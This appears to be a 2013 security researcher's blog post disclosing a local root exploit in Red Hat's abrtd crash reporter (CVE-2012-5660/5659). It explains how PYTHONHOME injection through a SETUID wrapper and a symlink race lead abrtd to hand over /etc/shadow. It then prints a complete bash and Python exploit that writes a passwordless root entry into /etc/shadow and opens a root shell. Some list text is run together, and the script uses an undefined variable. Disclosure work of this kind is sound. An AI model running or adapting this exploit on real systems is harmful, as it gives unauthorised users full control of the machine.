2013/04/30
tags: abrtd redhat vulnerability CVE-2012-5660 CVE-2012-5659
Red Hat Linux's Automatic Bug Reporting Tool
(or abrt) watches for system application or kernel crashes
and then performs administrator configurable actions such as writing
out a core file. (Ubuntu has something similar in the form of whoopsie).
Security conscious administrators should be aware that both of these tools include options to perform remote reporting of crashes.
I discovered a local privilege escalation in the abrtd daemon 2.0.8
of Red Hat Linux 6.3. Attacker requires only a local user account to
gain root. Red Hat's bug report states that an attacker requires abrt
user privilege but as we shall see this is easy to obtain. (Miloslav Trmač
independently discovered this first part of the attack so there are two
CVEs for this RHSA).
abrt user privileges by abusing the environment in the SETUID wrapper. (Note this is already enough to read other users' core files)./var/spool/abrt, containing symlinks to sensitive files.abrtd to come along (as root) and chown(2) those symlinks' targets to user abrt.I used /etc/shadow as a suitable example of a sensitive file, writing
a single line into it to provide a root account with no password.
/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache is SETUID
user abrt and world-executable./usr/bin/abrt-action-install-debuginfo.PYTHONHOME, PYTHONPATH (and
probably more that you can think of).abrt-action-install-debuginfo-to-abrt-cache.c:main():
/* Clear dangerous stuff from env */
static const char forbid[] =
"LD_LIBRARY_PATH" ""
"LD_PRELOAD" ""
"LD_TRACE_LOADED_OBJECTS" ""
"LD_BIND_NOW" ""
"LD_AOUT_LIBRARY_PATH" ""
"LD_AOUT_PRELOAD" ""
"LD_NOWARN" ""
"LD_KEEPDIR" ""
;
const char *p = forbid;
do {
unsetenv(p);
p += strlen(p) + 1;
} while (*p);
abrtd runs as root.abrtd creates directories in /var/spool/abrtd with predictable
names based on the TOD (granularity 1s) and PID (allocated
sequentially in Red Hat by default).abrtd tries
again by appending .new to the directory name. If the .new
directory exists it doesn't seem to care.root.abrtd then uses chown(2) to fix the ownership (rather than
fchown(2)) so it follows symlinks.abrt-hook-ccpp.c:main():
strcpy(source_filename + source_base_ofs, "maps");
strcpy(dest_base, FILENAME_MAPS);
copy_file(source_filename, dest_filename, 0640);
IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid));
sploit.py) into a local copy of the os.py library file,
sets PYTHONHOME to point to it
and calls the SETUID executable /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache./usr/bin/abrt-action-install-debuginfo.
PYTHONHOME./var/spool/abrt (owned by user abrt) with directories with names like ccpp-2012-12-14-18:05:59-2424 (where the time in the directory name is the end (59th second) of the current minute) and with symlinks {maps,limits,open_fds} → /etc/shadow.sleep(1) repeatedly by sending it SIGABRT, thus triggering abrtd.abrtd will chown(2) the target of the symlinks (/etc/shadow) to user abrt.abrt) can then overwrite shadow with our own data (a password-less root login entry) and invoke a root shell via su(1).attempts variable and
sleep periods to get this to work.#!/bin/bash
exe=/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
libdir=$PWD/lib64/python2.6
echo "Setting up fake python library in $libdir"
mkdir -p $libdir
rsync -a --exclude '*.py?' /usr/lib64/python2.6/* $libdir
echo "Munging $libdir/os.py"
cat >> $libdir/os.py << EOF
import posix # can't hit os.* from inside os
posix.unsetenv("PYTHONHOME") # done with fake lib
posix.system("$PWD/sploit.py")
posix._exit(0)
EOF
# Set PYTHONHOME to point to our munged libs
export PYTHONHOME=$PWD
# Run the wrapped python script, import munged libs
echo "Exploiting $exe"
ls -l $exe
exec $exe
This is the sploit.py script that does the actual work as the abrt user when
the fake python os module is imported:
#!/usr/bin/python
import os
import pwd
import time
from subprocess import call
def get_time():
now = time.localtime()
print "Time now: " + time.strftime("%Y-%m-%d-%H:%M:%S", now)
return now
def make_dir_and_links(dir):
print "Making %s" % dir
os.mkdir(dir)
os.symlink("/etc/shadow", "%s/maps" % dir)
os.symlink("/etc/shadow", "%s/limits" % dir)
os.symlink("/etc/shadow", "%s/open_fds" % dir)
attempts = 256 # no of dirs/crashes to create
# Leave us some space (10s) to do the symlink stuffing
now = get_time()
while now.tm_sec > 49:
time.sleep(1)
now = get_time()
tstamp = time.strftime("%Y-%m-%d-%H:%M:59", now)
filepat = "/var/spool/abrt/ccpp-" + tstamp + "-%s"
print "\nMaking dirs and symlinks"
pid = os.getpid()
for i in range(pid, pid+attempts):
dir = filepat % i
make_dir_and_links(dir)
make_dir_and_links(dir+".new")
# Perhaps we left too much time...
to_sleep = 58.9 - time.localtime().tm_sec
print "\nSleeping for %i seconds" % to_sleep
time.sleep(to_sleep)
print "\nCrashing"
for i in range(attempts):
call("/bin/sleep 10 & /bin/kill -ABRT $!", shell=True)
abrt_uid = pwd.getpwnam("abrt").pw_uid
print "\nWaiting for abrt to own %s" % target
while (os.stat(target).st_uid != abrt_uid):
time.sleep(1)
print "\nOverwriting /etc/shadow"
os.chmod("/etc/shadow", 0600)
f = file("/etc/shadow", "w")
f.write("root::::::::\n")
f.close()
print "\nInvoking /bin/bash as root"
os.unsetenv("DISPLAY") # else xauth
os.system("/bin/su -c /bin/bash")
os._exit(0)